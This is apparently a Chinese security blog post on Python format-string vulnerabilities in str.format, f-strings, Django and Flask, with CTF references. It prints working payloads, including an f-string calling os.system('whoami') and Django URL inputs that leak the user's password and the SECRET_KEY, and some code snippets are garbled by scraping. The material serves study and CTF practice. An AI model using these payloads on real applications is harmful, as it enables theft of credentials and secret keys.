format格式化字符处只能读取属性而不能执行方法,可以用来读取一些敏感的信息,这里主要是关于format格式化的利用分析
格式化字符串方式
在 python 中,提供了 4种 主要的格式化字符串方式,分别如下:
%操作符
%操作符 沿袭C语言中printf语句的风格。
1 |
name = 'LiMing' |
string.Template
1 |
'LiMing' name= |
format方法
后面为字符串对象增加了format方法,改进后的格式化字符串用法为
1 |
'LiMing' , 50159747054 name , errno = |
一些用法
1 |
"{username}".format(username='LiMing') # 普通用法 |
有漏洞的代码
在{0.xxx}.format(xxx)时,0是会被替代为format里的参数
1 |
config={'SECRET_KEY': 'secret'} |
f-Strings
这是python3.6之后新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的python表达式,安全隐患可想而知。
1 |
f'{__import__("os").system("whoami")}' |
有了f字符串后,即使我们不闭合双引号,也能插入任意代码了
1 |
'{"code":404,"info":f"This is {__import__(\'os\').system(\'whoami\')} message"}') eval( |
f字符的利用,还没遇到。
敏感信息获取
引用p师傅的文章Python格式化字符串漏洞(Django为例)
Django
格式化字符串导致的敏感信息泄露漏洞
1 |
def view(request, *args, **kwargs): |
控制了格式化字符串的一部分(email),将会导致一些意料之外的问题,如
1 |
http://127.0.0.1:8000/?email={user.pk}|{user.username}|{user.password} |
user是当前上下文中仅有的一个变量,也就是format函数传入的user=request.user,Django中request.user是当前用户对象,这个对象包含一个属性password,也就是该用户的密码。
所以,{user.password}实际上就是输出了request.user.password
利用格式化字符串漏洞泄露Django配置信息
1 |
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY} |
Flask
1 |
from flask import Flask, request |
在{0.xxx}.format(xxx)时,0是会被替代为format里的参数的
,在python中,init是在类中被用做构造函数,而globals则是全局变量,于是就可以去继承类的中的方法,以此类推
例题
百越杯Easy flask
SWPUCTF 皇家线上赌场
从两道CTF实例看python格式化字符串漏洞
参考文章:
从两道CTF实例看python格式化字符串漏洞
Python格式化字符串漏洞(Django为例)
python格式化字符串研究
python%20web之flask session&格式化字符串漏洞
Python String Formatting Best Practices
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论